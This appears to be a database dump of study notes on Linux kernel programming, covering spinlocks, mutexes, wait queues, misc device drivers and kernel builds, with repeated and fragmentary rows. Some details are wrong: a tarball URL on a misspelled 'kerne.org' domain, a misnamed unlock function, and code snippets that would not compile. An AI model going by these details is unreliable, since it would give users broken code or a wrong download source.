-4850 1371 This also means that a task currently running on that CPU cannot be preempted except by **interrupt requests (IRQs)** if they are not disabled on the local CPU.\nIn other words, spinlocks protect resources that only one CPU can take/access at a time. text txt 2024-07-28 10:08:45.048235 -4851 1371 This makes spinlocks suitable for **symmetrical multiprocessing (SMP)** safety and for executing atomic tasks. text txt 2024-07-28 10:08:45.069038 -4852 1372 A spinlock is created either statically using a `DEFINE_SPINLOCK` macro: text txt 2024-07-28 10:08:45.755305 -4853 1372 static DEFINE_SPINLOCK(my_spinlock); code txt 2024-07-28 10:08:45.776637 -4854 1372 This macro is defined in `include/linux/spinlock_types.h`. text txt 2024-07-28 10:08:45.796921 -4855 1372 For dynamic (runtime) allocation, it's better to embed the spinlock into a bigger structure, allocating memory for this structure and then calling `spin_lock_init()` on the spinlock element: text txt 2024-07-28 10:08:45.817626 -4856 1372 struct bigger_struct {\n spinlock_t lock;\n unsigned int foo;\n [...]\n};\nstatic struct bigger_struct *fake_init_function()\n{\n struct bigger_struct *bs;\n bs = kmalloc(sizeof(struct bigger_struct), GFP_KERNEL);\n if (!bs)\n return -ENOMEM;\n spin_lock_init(&bs->lock);\n return bs;\n} code txt 2024-07-28 10:08:45.838612 -4857 1373 We can lock/unlock the spinlock using `spin_lock()` and `spin_unlock()` inline functions, both defined in `include/linux/spinlock.h`: text txt 2024-07-28 10:08:46.15433 -4858 1373 static __always_inline void spin_unlock(spinlock_t *lock);\nstatic __always_inline void spin_lock(spinlock_t *lock); code txt 2024-07-28 10:08:46.174905 -4859 1374 Though a spinlock prevents preemption on the local CPU, it does not prevent this CPU from being hogged by an interrupt. text txt 2024-07-28 10:08:46.463142 -4860 1374 Imagine a situation where the CPU holds a *"spinlock"* on behalf of task A in order to protect a given resource, and an interrupt occurs.\nThe CPU will stop its current task and branch to this interrupt handler.\nNow, imagine if this IRQ handler needs to acquire this same spinlock.\nIt will infinitely spin in place, trying to acquire a lock already locked by a task that it has preempted which results in a deadlock. text txt 2024-07-28 10:08:46.484932 -4861 1375 To address this issue, the Linux kernel provides `_irq` variant functions for spinlocks, which, in addition to disabling/enabling preemption, also disable/enable interrupts on the local CPU.\nThese functions are `spin_lock_irq()` and `spin_unlock_irq()`, defined as follows: text txt 2024-07-28 10:08:46.772682 -4862 1375 static void spin_unlock_irq(spinlock_t *lock)\nstatic void spin_lock_irq(spinlock_t *lock) code txt 2024-07-28 10:08:46.79309 -4863 1376 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls schedule() if enabled.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:08:47.034426 -4864 1377 `spin_lock_irq()` function is unsafe when called from IRQs off-context as its counterpart `spin_unlock_irq()` will dumbly enable IRQs, with the risk of enabling those that were not enabled while `spin_lock_irq()` was invoked.\nIt makes sense to use `spin_lock_irq()` only when you know that interrupts are enabled. text txt 2024-07-28 10:08:47.494 -4865 1377 To achieve this, the kernel provides `_irqsave` variant functions that behave exactly like the `_irq` ones, with saving and restoring interrupts status features in addition.\nThese are `spin_lock_irqsave()` and `spin_lock_irqrestore()`, defined as follows: text txt 2024-07-28 10:08:47.514199 -4866 1377 spin_lock_irqsave(spinlock_t *lock, unsigned long flags)\nspin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) code txt 2024-07-28 10:08:47.534496 -4867 1377 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls `schedule()` if enabled depending on the current value of the counter, whose current value should be 0.
\nIt tries because it depends on whether other spinlocks are locked, which would affect the value of the preemption counter.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:08:47.556427 -4905 1388 The other sleeping mechanism is conditioned on an event and the waking up is explicit unless a sleeping timeout is specified.\nWhen timeout is not specified, another task must explicitly wake us up based on a condition, else we sleep forever. text txt 2024-07-28 10:08:52.53556 -4906 1388 Both sleeping APIs and wait queues implement what we can call **passive waiting**.\nThe difference between the two is how the waking up process occurs. text txt 2024-07-28 10:08:52.556469 -4950 1405 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.863072 -4868 1378 Though disabling interrupts may prevent kernel preemption nothing prevents the protected section from invoking the `schedule()` function.\nThe kernel disables or enables the scheduler, and thus preemtion, by increasing or decreasing a kernel global and per-CPU variable called `preempt_count` with 0 as default value.\nThis variable is checked by the `schedule()` function and when it is greater than 0, the scheduler simply returns and does nothing.\nThis variable is incremented at each invocation of a `spin_lock*()` family function.\nOn the other side, releasing a spinlock decrements it from 1, and whenever it reaches 0, the scheduler is invoked, meaning that your critical section would not be that atomic. text txt 2024-07-28 10:08:47.861704 -4869 1378 Thus, disabling interrupts protects you from kernel preemption only in cases where the protected code does not trigger preemption itself.\nThat said, code that locked a spinlock may not sleep as there would be no way to wake it up as timer interrupts and/or schedulers are disabled on the local CPU. text txt 2024-07-28 10:08:47.882671 -4870 1379 It behaves exactly like a *spinlock*, with the only difference being that your code can sleep.\nA spinlock is a lock held by a CPU, a mutex, on the other hand, is a lock held by a task. text txt 2024-07-28 10:08:48.378814 -4871 1379 A mutex is a simple data structure that embeds a wait queue to put contenders to sleep and a spinlock to protect access to this wait queue. text txt 2024-07-28 10:08:48.398354 -4872 1379 struct mutex {\n atomic_long_t owner;\n spinlock_t wait_lock;\n#ifdef CONFIG_MUTEX_SPIN_ON_OWNER\n struct optimistic_spin_queue osq; /* Spinner MCS lock */\n#endif\n struct list_head wait_list;\n [...]\n}; code txt 2024-07-28 10:08:48.41948 -4873 1379 The mutex APIs can be found in the `include/linux/mutex.h` header file. text txt 2024-07-28 10:08:48.440715 -4874 1380 As for other kernel core data structures, there is a static initialization: text txt 2024-07-28 10:08:49.058231 -4875 1380 static DEFINE_MUTEX(my_mutex); code txt 2024-07-28 10:08:49.077613 -4876 1380 A second approach the kernel offers is dynamic initialization, possible thanks to a call to a `__mutex_init()` low-level function, which is actually wrapped by a much more user-friendly macro, `mutex_init()`. text txt 2024-07-28 10:08:49.09841 -4877 1380 struct fake_data {\n struct i2c_client *client;\n u16 reg_conf;\n struct mutex mutex;\n}; text txt 2024-07-28 10:08:49.118583 -4878 1380 static int fake_probe(struct i2c_client *client)\n{\n [...]\n mutex_init(&data->mutex);\n [...]\n} code txt 2024-07-28 10:08:49.139492 -4879 1381 Acquiring (aka locking) a mutex is as simple as calling one of the following three functions: text txt 2024-07-28 10:08:49.611516 -4880 1381 void mutex_lock(struct mutex *lock);\nint mutex_lock_interruptible(struct mutex *lock);\nint mutex_lock_killable(struct mutex *lock); code txt 2024-07-28 10:08:49.633462 -4881 1381 With `mutex_lock()`, your task will be put in an uninterruptible sleep state (`TASK_UNINTERRUPTIBLE`) while waiting for the mutex to be released if it is held by another task. text txt 2024-07-28 10:08:49.652979 -4882 1381 `mutex_lock_interruptible()` will put your task in an interruptible sleep state, in which the sleep can be interrupted by any signal. text txt 2024-07-28 10:08:49.673065 -4883 1381 `mutex_lock_killable()` will allow your sleeping task to be interrupted only by signals that actually kill the task. text txt 2024-07-28 10:08:49.694197 -4884 1381 Each of these functions returns 0 if the lock has been acquired successfully.\nMoreover, interruptible variants return `-EINTR` when the locking attempt was interrupted by a signal. text txt 2024-07-28 10:08:49.714996 -4885 1382 Whichever locking function is used, only the mutex owner should release the mutex using `mutex_unlock()`: text txt 2024-07-28 10:08:49.963447 -4886 1382 void mutex_unlock(struct mutex *lock); code txt 2024-07-28 10:08:49.984261 -4887 1383 static bool mutex_is_locked(struct mutex *lock); code txt 2024-07-28 10:08:50.277152 -4888 1383 This function simply checks if the mutex owner is `NULL` and returns `true` if so or `false` otherwise. text txt 2024-07-28 10:08:50.298302 -4889 1384 The most important ones are enumerated in the `include/linux/mutex.h` kernel mutex API header file, and some of these are outlined here: text txt 2024-07-28 10:08:50.709135 -4890 1384 * A mutex can be held by one and only one task at a time.\n* Once held, the mutex can only be unlocked by the owner which is the task that locked it.\n* Multiple, recursive, or nested locks/unlocks are not allowed.\n* A mutex object must be initialized via the API. It must not be initialized by copying nor by using `memset()`, just as held mutexes must not be reinitialized.\n* A task that holds a mutex may not exit, just as memory areas where held locks reside must not be freed.\n* Mutexes may not be used in hardware or software interrupt contexts such as tasklets and timers. text txt 2024-07-28 10:08:50.731803 -4891 1384 All this makes mutexes suitable for the following cases: text txt 2024-07-28 10:08:50.751896 -4892 1384 * Locking only in the user context.\n* If the protected resource is not accessed from an IRQ handler and the operations need not be atomic. text txt 2024-07-28 10:08:50.772739 -4893 1385 It may be cheaper to use spinlocks for very small critical sections since the spinlock only suspends the scheduler and starts spinning, compared to the cost of using a mutex, which needs to suspend the current task and insert it into the mutex's wait queue, requiring the scheduler to switch to another task and rescheduling the sleeping task once the mutex is released. text txt 2024-07-28 10:08:50.957546 -4894 1386 Such methods try to acquire the lock and immediately return a status value, showing whether the lock has been successfully locked or not. text txt 2024-07-28 10:08:51.775442 -4895 1386 Both spinlock and mutex APIs provide a trylock method.\nThese are, respectively, `spin_trylock()` and `mutex_trylock()` text txt 2024-07-28 10:08:51.796258 -4896 1386 Both methods return 0 on failure (the lock is already locked) or 1 on success (lock acquired).\nThus, it makes sense to use these functions along with an if statement: text txt 2024-07-28 10:08:51.817871 -4897 1386 int mutex_trylock(struct mutex *lock) code txt 2024-07-28 10:08:51.839214 -4898 1386 `spin_trylock()` will lock the spinlock if it is not already locked, just as the `spin_lock()` method does.\nHowever, it immediately returns 0 without spinning in cases where the spinlock is already locked: text txt 2024-07-28 10:08:51.860399 -4899 1386 static DEFINE_SPINLOCK(foo_lock); text txt 2024-07-28 10:08:51.879951 -4900 1386 static void foo(void)\n{\n if (!spin_trylock(&foo_lock)) {\n /* Failure! the spinlock is already locked */\n return;\n } text txt 2024-07-28 10:08:51.901532 -4901 1386 /*\n * reaching this part of the code means that the\n * spinlock has been successfully locked\n */\n spin_unlock(&foo_lock);\n} code txt 2024-07-28 10:08:51.923088 -4902 1387 The term sleeping refers to a mechanism by which a task voluntarily relaxes the processor, with the possibility of another task being scheduled. text txt 2024-07-28 10:08:52.092907 -4903 1388 - **Sleeping APIs:** simple sleeping consist of a task sleeping and being awakened after a given duration to passively delay an operation.\n- **Wait queues:** conditional sleeping mechanism based on external events such as data availability. text txt 2024-07-28 10:08:52.493494 -4907 1389 The kernel scheduler manages a list of tasks in a `TASK_RUNNING` state to run, known as a **runqueue**. text txt 2024-07-28 10:08:52.783077 -4908 1389 On the other hand, sleeping tasks, whether interruptible or not (in a `TASK_INTERRUPTIBLE` or `TASK_UNINTERRUPTIBLE` state), have their own queues, known as **waitqueues**. text txt 2024-07-28 10:08:52.804749 -4911 1390 struct wait_queue_head {\n spinlock_t lock;\n struct list_head head;\n}; code txt 2024-07-28 10:08:53.280998 -4915 1391 wait_queue_head_t dynamic_event;\ninit_waitqueue_head(&dynamic_event); code txt 2024-07-28 10:08:53.669512 -4918 1392 wait_event(&some_event, (event_occured == 1));\nwait_event_interruptible(&some_event, (event_occured == 1)); code txt 2024-07-28 10:08:54.14565 -4921 1393 You can address such cases using `wait_event_timeout()`: text txt 2024-07-28 10:08:54.476749 -4924 1394 This function has two behaviors, depending on the timeout having elapsed or not. text txt 2024-07-28 10:08:54.755302 -4927 1396 After a change on any variable that could affect the result of the wait queue, call the appropriate `wake_up*` family function. text txt 2024-07-28 10:08:55.404297 -4930 1397 Because they can be interrupted by signals, you should check the return value of the `_interruptible` variants. text txt 2024-07-28 10:08:55.674794 -4934 1399 - Loading modules requires privileged access to the system.\n- It also requires a kernel object.\n- And it might require other modules as dependencies. text txt 2024-07-28 10:08:56.409433 -4939 1401 From `/proc/modules` and `/sys/modules/*` directories. text txt 2024-07-28 10:08:56.826535 -4943 1403 Module dependencies are stored in `/lib/modules/$(uname -r)/modules.dep` file. text txt 2024-07-28 10:08:57.266325 -4947 1404 This module is not usually used for modules under development. text txt 2024-07-28 10:08:57.608802 -4951 1406 In order for a user space application to gain access to the underlying device\ndriver within the kernel, some I/O mechanism is required. The Unix (and thus\nLinux) design is to have the process open a special type of file, a **device\nfile**, or **device node**. These files typically live in the `/dev`\ndirectory. text txt 2024-07-28 10:08:58.340489 -4954 1408 * The type of file – either char or block\n* The major and minor number text txt 2024-07-28 10:08:58.896229 -4957 1411 From 2.6 Linux onward, the `{major:minor}` pair is a single unsigned 32-bit\nquantity within the inode, a bitmask (it's the `dev_t i_rdev` member). Of\nthese 32 bits, the MSB 12 bits represent the major number and the remaining\nLSB 20 bits represent the minor number. text txt 2024-07-28 10:09:00.025496 -4960 1411 Here, the exception to the rule - that the kernel doesn't interpret the minor\nnumber – is the `misc` class (type character, major `#10`). It uses the minor\nnumbers as second-level majors. text txt 2024-07-28 10:09:00.09001 -4963 1413 A fundamental **LDM** tenet is that every single device must reside on a bus.\nUSB devices will be on USB bus, PCI devices on PCI bus, I2C devices on I2C\nbus, and so on. Available buses are available under `/sys/bus` directory. text txt 2024-07-28 10:09:00.584935 -4966 1415 LDM-based drivers should typically register themselves to a kernel framework\nand to a bus. The kernel framework it registers itself to depends on the type\nof the working device. For example, a driver for an RTC chip that resides on\nthe I2C bus will register itself to the kernel's RTC framework (via\n`rtc_register_device()`), and to the I2C bus (via `i2c_register_driver()`). A\ndriver for network adapter on the PCI bus will typically register itself to\nthe kernel's network inftrastructure (via `register_netdev()`) and the PCI\nbus (`pci_register_driver()`). text txt 2024-07-28 10:09:01.292599 -4969 1417 If a method is left out, and the user space process invokes that method, the\nkernel VFS detects that function pointer is `NULL`, returns an appropriate\nnegative integer, the glibc will multiply this by -1 and set the calling\nprocess's `errno` variable to that value, signaling that the system call\nfailed. text txt 2024-07-28 10:09:02.129004 -4972 1418 return nonseekable_open(struct inode *inode, struct file *fp); code txt 2024-07-28 10:09:02.659641 -4975 1419 static int __init miscdev_init(void)\n{\n int ret = 0;\n struct device *dev = NULL; text txt 2024-07-28 10:09:03.96827 -4978 1419 dev = miscdev.this_device;\n} text txt 2024-07-28 10:09:04.029202 -4981 1419 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi \n#include text txt 2024-07-28 10:09:08.215647 -5009 1423 static struct miscdevice misc_dev = {\n .name = "misc_dev",\n .minor = MISC_DYNAMIC_MINOR,\n .mode = 0666,\n .fops = &misc_fops,\n}; text txt 2024-07-28 10:09:08.256508 -5011 1423 if (unlikely(!kbuf))\n return -ENOMEM; text txt 2024-07-28 10:09:08.298698 -5012 1423 pr_info("opening %s (0x%x)\\\\n", file_path(fp, kbuf, PATH_MAX), fp->f_flags);\n kfree(kbuf);\n return nonseekable_open(inode, fp);\n} text txt 2024-07-28 10:09:08.319637 -5013 1423 static int __init misc_init(void)\n{\n int ret = 0;\n struct device *dev = NULL; text txt 2024-07-28 10:09:08.342811 -5014 1423 ret = misc_register(&misc_dev);\n if (ret != 0)\n {\n pr_notice("misc_dev registration failed\\\\n");\n return ret;\n } text txt 2024-07-28 10:09:08.36526 -5016 1423 static void __exit misc_exit(void)\n{\n misc_deregister(&misc_dev);\n pr_info("misc_dev unloaded\\\\n");\n} text txt 2024-07-28 10:09:08.409719 -5017 1423 module_init(misc_init);\nmodule_exit(misc_exit); text txt 2024-07-28 10:09:08.429635 -5018 1423 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi "); code txt 2024-07-28 10:09:08.450589 -5019 1424 dd if=/dev/miscdev of=readtest bs=4K count=1\nhexdump readtest code txt 2024-07-28 10:09:08.873914 -5020 1424 dd if=/dev/urandom of=/dev/miscdev bs=4K count=1 code txt 2024-07-28 10:09:08.89385 -5021 1425 Signature for both functions of user to kernel space and vice versa are similar: text txt 2024-07-28 10:09:09.746486 -5022 1425 #include text txt 2024-07-28 10:09:09.767887 -5023 1425 unsigned long copy_to_user(void __user *to, const void *from, unsigned long n);\nunsigned long copy_from_user(void *to, const void __user *from, unsigned long n); code txt 2024-07-28 10:09:09.788791 -5024 1425 static ssize_t read_method(struct file *fp, char __user *ubuf, size_t count, loff_t *offset)\n{\n char *kbuf = kzalloc(); text txt 2024-07-28 10:09:09.810986 -5025 1425 /* ... do what's required to get data from the hardware device into kbuf ... */ text txt 2024-07-28 10:09:09.831588 -5026 1425 if (copy_to_user(ubuf, kbuf, count))\n {\n dev_warn(dev, "cannot copy data to user space\\\\n");\n goto out_rd_fail;\n } text txt 2024-07-28 10:09:09.854075 -5027 1425 return count; text txt 2024-07-28 10:09:09.874258 -5028 1425 out_rd_fail:\n kfree(kbuf);\n return -EIO;\n} code txt 2024-07-28 10:09:09.89681 -5030 1427 To check recompiled headers: text txt 2024-07-28 10:09:10.770703 -5031 1427 make C=1 CHECK=/usr/bin/sparse ARCH=x86_64 code txt 2024-07-28 10:09:10.793293 -5032 1427 To check all headers: text txt 2024-07-28 10:09:10.815389 -5033 1427 make C=2 CHECK=/usr/bin/sparse ARCH=x86_64 code txt 2024-07-28 10:09:10.835934 -5034 1428 - Extended Berkely Packet Filtering (eBPF)\n- Linux Tracing Toolkit next generation (LTTng) text txt 2024-07-28 10:09:11.10485 -5035 1429 Trace Compass GUI text txt 2024-07-28 10:09:11.328447 -5036 1430 BCC or bpftrace text txt 2024-07-28 10:09:11.537465 -5037 1431 v4.0 text txt 2024-07-28 10:09:11.767303 -5038 1432 linux-headers text txt 2024-07-28 10:09:11.992527 -5039 1433 Linux Driver Verification (LDV) text txt 2024-07-28 10:09:12.212169 -5040 1434 arm-none-eabi-gcc arm-none-eabi-gdb arm-none-eabi-binutils code txt 2024-07-28 10:09:12.471927 -5041 1435 qemu-system-arm code txt 2024-07-28 10:09:12.763027 -5042 1436 Open source tools: text txt 2024-07-28 10:09:13.266383 -5043 1436 * https://sparse.wiki.kernel.org - https://sparse.wiki.kernel.org/index.php/Main_Page\n* [Coccinelle](http://coccinelle.lip6.fr/)\n* [Smatch](http://repo.or.cz/w/smatch.git)\n* https://dwheeler.com - https://dwheeler.com/flawfinder/\n* https://github.com - https://github.com/danmar/cppcheck text txt 2024-07-28 10:09:13.288105 -5044 1436 Commercial tools: text txt 2024-07-28 10:09:13.309269 -5045 1436 * https://www.sonarqube.org - https://www.sonarqube.org/\n* https://scan.coverity.com - https://scan.coverity.com/\n* https://www.meteonic.com - https://www.meteonic.com/klocwork text txt 2024-07-28 10:09:13.33132 -5046 1437 make C=1 CHECK="/usr/bin/sparse" code txt 2024-07-28 10:09:13.558188 -5047 1439 * bpftrace package (https://github.com - https://github.com/iovisor/bcc) clang dependent\n* https://github.com - https://github.com/iovisor/bcc/blob/master/INSTALL.md text txt 2024-07-28 10:09:14.063341 -5048 1440 * https://linuxtesting.org text txt 2024-07-28 10:09:14.266528 -5049 1441 uname -r code txt 2024-07-28 10:09:14.498011 -5050 1442 git log --date-order --graph --tags --simplify-by-decoration code txt 2024-07-28 10:09:14.78944 -5051 1443 1. The 5.x stable release is made. Thus, the merge window for the 5.x+1 (mainline) kernel has begun.\n2. The merge window remains open for about 2 weeks and new patches are merged into the mainline.\n3. Once (typically) 2 weeks have elapsed, the merge window is closed.\n4. rc (aka mainline, prepatch) kernels start. 5.x+1-rc1, 5.x+1-rc2, ..., 5.x+1-rcn are released. This process takes anywhere between 6 to 8 weeks.\n5. The stable release has arrived: the new 5.x+1 stable kernel is released.\n6. The release is handed off to the "stable team". Significant bug or security fixes result in the release of 5.x+1.y : 5.x+1.1, 5.x+1.2, ... , 5.x+1.n. Maintained until the next stable release or End Of Life (EOL) date reached. text txt 2024-07-28 10:09:15.160956 -5052 1444 * -next trees\n* prepatches, also known as -rc or mainline\n* stable kernels\n* distribution and LTS kernels\n* Super LTS (STLS) kernels text txt 2024-07-28 10:09:15.516974 -5053 1445 curl -L https://kernel.org - https://kernel.org/finger_banner code txt 2024-07-28 10:09:15.815612 -5054 1446 https://git.kernel.org - https://git.kernel.org/pub/scm/linux/kernel/git/mricon/korg-helpers.git/tree/get-verified-tarball code txt 2024-07-28 10:09:16.128173 -5055 1447 * obtaining kernel source\n* configuring source\n* building\n* installing targets\n* setting up bootloaders text txt 2024-07-28 10:09:16.423556 -5056 1448 https://mirrors.edge.kerne.org - https://mirrors.edge.kerne.org/pub/linux/kernel/v5.x/linux_5.4.0.tar.xz code txt 2024-07-28 10:09:16.664741 -5057 1449 git clone https://git.kernel.org - https://git.kernel.org/pub/scm/linux/git/torvalds/linux.git code txt 2024-07-28 10:09:16.887267 -5058 1450 head Makefile code txt 2024-07-28 10:09:17.111306 -5059 1451 MAINTAINERS text txt 2024-07-28 10:09:17.280349 -5060 1452 scripts/get_maintainer.pl code txt 2024-07-28 10:09:17.450028 -5061 1453 Major subsystem directories text txt 2024-07-28 10:09:17.88387 -5062 1453 * kernel: core kernel subsystem\n* mm: memory management\n* fs: the kernel **Virtual Filesystem Switch (VFS)** and the individual filesystem drivers\n* block: the underlying block I/O code\n* net: implementation of the network protocol stack\n* ipc: the **Inter-Process Communication (IPC)** subsystem\n* sound: the **Advanced Linux Sound Architecture (ALSA)** sound subsystem\n* virt: the virtualization code, specially **Kernel Virtual Machine (KVM)** subsystem text txt 2024-07-28 10:09:17.901212 -5063 1453 Infrastructure / Misclenaous text txt 2024-07-28 10:09:17.917374 -5064 1453 * arch: the arch-specific code\n* crypto: kernel level implementation of ciphers\n* include: arch-independent kernel headers\n* init: arch-independent kernel initialization code\n* lib: the closest equivalent to a library for the kernel\n* scripts: various useful scripts\n* security: the **Linux Security Module (LSM)**, containing **Mandatory Access Control (MAX)** and **Discretionary Access Control (DAC)** frameworks.\n* tools: various tools text txt 2024-07-28 10:09:17.932488 -5065 1454 make help\nmake htmldocs\nmake pdfdocs code txt 2024-07-28 10:09:18.215137 -5066 1454 Output will be generated in `Documentation/output/latex` and `Documentation/output/html`. text txt 2024-07-28 10:09:18.230029 -5067 1455 * ctags\n* cscope text txt 2024-07-28 10:09:18.448382 -5068 1456 make ctags\nmake cscope code txt 2024-07-28 10:09:18.660946 -5069 1457 init/kconfig code txt 2024-07-28 10:09:18.83967 -5070 1458 * defconfig: reseting all options to their defaults\n* oldconfig: asking for new configurations\n* localmodconfig: restoring options from module list\n* platform\\\\_defconfig: creating config based on platform text txt 2024-07-28 10:09:19.034808 -5071 1459 ls arch//configs/\nmake _defconfig code txt 2024-07-28 10:09:19.193176 -5072 1460 lsmod > /tmp/modules.lst\nmake LSMOD=/tmp/modules.lst localmodconfig code txt 2024-07-28 10:09:19.38087 -5073 1461 cp /boot/config-5.0.0 .config\nmake oldconfig code txt 2024-07-28 10:09:19.615322 -5074 1462 [menu,x,q]config code txt 2024-07-28 10:09:19.80223 -5075 1463 * `[.]` boolean option\n* `<.>` three state option, having `<*>` state as ON, `` state as Module, `<>` state as OFF\n* `{.}` required by a dependency as a module or compiled\n* `-*-` required by a dependency as compiled\n* `(...)` alphanumeric input\n* ` --->` sub-menu text txt 2024-07-28 10:09:20.049302 -5076 1468 We can enumerate two synchronization mechanisms, as follows: text txt 2024-07-28 10:09:21.20994 -5077 1468 1. **Locks**: Used for mutual exclusion. When one contender holds the lock, no other can hold it (others are excluded). The most known locks in the kernel are **spinlocks** and **mutexes**. text txt 2024-07-28 10:09:21.224075 -5078 1468 A resource is said to be shared when it is accessible by several contenders, whether exclusively or not.\nWhen it is exclusive, access must be synchronized so that only the allowed contender(s) may own the resource. text txt 2024-07-28 10:09:21.236851 -5079 1468 The operating system performs mutual exclusion by atomically modifying a variable that holds the current state of the resource, making this visible to all contenders that might access the variable at the same time. text txt 2024-07-28 10:09:21.250703 -5080 1468 2. **Conditional variables**: For waiting for a change. These are implemented differently in the kernel as **wait queues** and **completion queues**. text txt 2024-07-28 10:09:21.265405 -5081 1468 Apart from dealing with the exclusive ownership of a given shared resource, there are situations where it is better to wait for the state of the resource to change. text txt 2024-07-28 10:09:21.280779 -5082 1468 The Linux kernel does not implement conditional variables, but to achieve the same or even better, the kernel provides the following mechanisms: text txt 2024-07-28 10:09:21.295206 -5113 1479 As for other kernel core data structures, there is a static initialization: text txt 2024-07-28 10:09:25.16605 -5083 1468 * **Wait queue**: To wait for a change — designed to work in concert with locks.\n* **Completion queue**: To wait for the completion of a given computation, mostly used with DMAs. text txt 2024-07-28 10:09:21.309817 -5084 1469 A *spinlock* is a hardware-based locking primitive that depends on hardware capabilities to provide atomic operations (such as `test_and_set`, which in a non-atomic implementation would result in read, modify, and write operations).\nIt is the simplest and the base locking primitive. text txt 2024-07-28 10:09:21.492285 -5085 1469 When *CPUB* is running, and task B wants to acquire the spinlock while *CPUA* has already called this spinlock's locking function, *CPUB* will simply spin around a `while` loop until the other CPU releases the lock. text txt 2024-07-28 10:09:21.507005 -5086 1469 This spinning will only happen on multi-core machines because, on a single-core machine, it cannot happen. text txt 2024-07-28 10:09:21.518881 -5087 1469 A *spinlock* is said to be a lock held by a CPU, in contrast to a *mutex* which is a lock held by a task. text txt 2024-07-28 10:09:21.532531 -5088 1470 A spinlock operates by disabling the scheduler on the local CPU. text txt 2024-07-28 10:09:21.686962 -5089 1470 This also means that a task currently running on that CPU cannot be preempted except by **interrupt requests (IRQs)** if they are not disabled on the local CPU.\nIn other words, spinlocks protect resources that only one CPU can take/access at a time. text txt 2024-07-28 10:09:21.699067 -5090 1470 This makes spinlocks suitable for **symmetrical multiprocessing (SMP)** safety and for executing atomic tasks. text txt 2024-07-28 10:09:21.714553 -5091 1471 A spinlock is created either statically using a `DEFINE_SPINLOCK` macro: text txt 2024-07-28 10:09:22.094339 -5092 1471 static DEFINE_SPINLOCK(my_spinlock); code txt 2024-07-28 10:09:22.107621 -5093 1471 This macro is defined in `include/linux/spinlock_types.h`. text txt 2024-07-28 10:09:22.120932 -5094 1471 For dynamic (runtime) allocation, it's better to embed the spinlock into a bigger structure, allocating memory for this structure and then calling `spin_lock_init()` on the spinlock element: text txt 2024-07-28 10:09:22.135602 -5095 1471 struct bigger_struct {\n spinlock_t lock;\n unsigned int foo;\n [...]\n};\nstatic struct bigger_struct *fake_init_function()\n{\n struct bigger_struct *bs;\n bs = kmalloc(sizeof(struct bigger_struct), GFP_KERNEL);\n if (!bs)\n return -ENOMEM;\n spin_lock_init(&bs->lock);\n return bs;\n} code txt 2024-07-28 10:09:22.149169 -5096 1472 We can lock/unlock the spinlock using `spin_lock()` and `spin_unlock()` inline functions, both defined in `include/linux/spinlock.h`: text txt 2024-07-28 10:09:22.325193 -5097 1472 static __always_inline void spin_unlock(spinlock_t *lock);\nstatic __always_inline void spin_lock(spinlock_t *lock); code txt 2024-07-28 10:09:22.339809 -5098 1473 Though a spinlock prevents preemption on the local CPU, it does not prevent this CPU from being hogged by an interrupt. text txt 2024-07-28 10:09:22.527265 -5099 1473 Imagine a situation where the CPU holds a *"spinlock"* on behalf of task A in order to protect a given resource, and an interrupt occurs.\nThe CPU will stop its current task and branch to this interrupt handler.\nNow, imagine if this IRQ handler needs to acquire this same spinlock.\nIt will infinitely spin in place, trying to acquire a lock already locked by a task that it has preempted which results in a deadlock. text txt 2024-07-28 10:09:22.543758 -5100 1474 To address this issue, the Linux kernel provides `_irq` variant functions for spinlocks, which, in addition to disabling/enabling preemption, also disable/enable interrupts on the local CPU.\nThese functions are `spin_lock_irq()` and `spin_unlock_irq()`, defined as follows: text txt 2024-07-28 10:09:22.789772 -5101 1474 static void spin_unlock_irq(spinlock_t *lock)\nstatic void spin_lock_irq(spinlock_t *lock) code txt 2024-07-28 10:09:22.807452 -5102 1475 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls schedule() if enabled.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:09:22.976262 -5103 1476 `spin_lock_irq()` function is unsafe when called from IRQs off-context as its counterpart `spin_unlock_irq()` will dumbly enable IRQs, with the risk of enabling those that were not enabled while `spin_lock_irq()` was invoked.\nIt makes sense to use `spin_lock_irq()` only when you know that interrupts are enabled. text txt 2024-07-28 10:09:23.401524 -5104 1476 To achieve this, the kernel provides `_irqsave` variant functions that behave exactly like the `_irq` ones, with saving and restoring interrupts status features in addition.\nThese are `spin_lock_irqsave()` and `spin_lock_irqrestore()`, defined as follows: text txt 2024-07-28 10:09:23.422398 -5105 1476 spin_lock_irqsave(spinlock_t *lock, unsigned long flags)\nspin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) code txt 2024-07-28 10:09:23.442698 -5106 1476 `spin_lock()` and all its variants automatically call `preempt_disable()`, which disables preemption on the local CPU, while `spin_unlock()` and its variants call `preempt_enable()`, which tries to enable preemption, and which internally calls `schedule()` if enabled depending on the current value of the counter, whose current value should be 0.
\nIt tries because it depends on whether other spinlocks are locked, which would affect the value of the preemption counter.\n`spin_unlock()` is then a preemption point and might re-enable preemption. text txt 2024-07-28 10:09:23.464487 -5107 1477 Though disabling interrupts may prevent kernel preemption nothing prevents the protected section from invoking the `schedule()` function.\nThe kernel disables or enables the scheduler, and thus preemtion, by increasing or decreasing a kernel global and per-CPU variable called `preempt_count` with 0 as default value.\nThis variable is checked by the `schedule()` function and when it is greater than 0, the scheduler simply returns and does nothing.\nThis variable is incremented at each invocation of a `spin_lock*()` family function.\nOn the other side, releasing a spinlock decrements it from 1, and whenever it reaches 0, the scheduler is invoked, meaning that your critical section would not be that atomic. text txt 2024-07-28 10:09:23.804257 -5108 1477 Thus, disabling interrupts protects you from kernel preemption only in cases where the protected code does not trigger preemption itself.\nThat said, code that locked a spinlock may not sleep as there would be no way to wake it up as timer interrupts and/or schedulers are disabled on the local CPU. text txt 2024-07-28 10:09:23.826654 -5109 1478 It behaves exactly like a *spinlock*, with the only difference being that your code can sleep.\nA spinlock is a lock held by a CPU, a 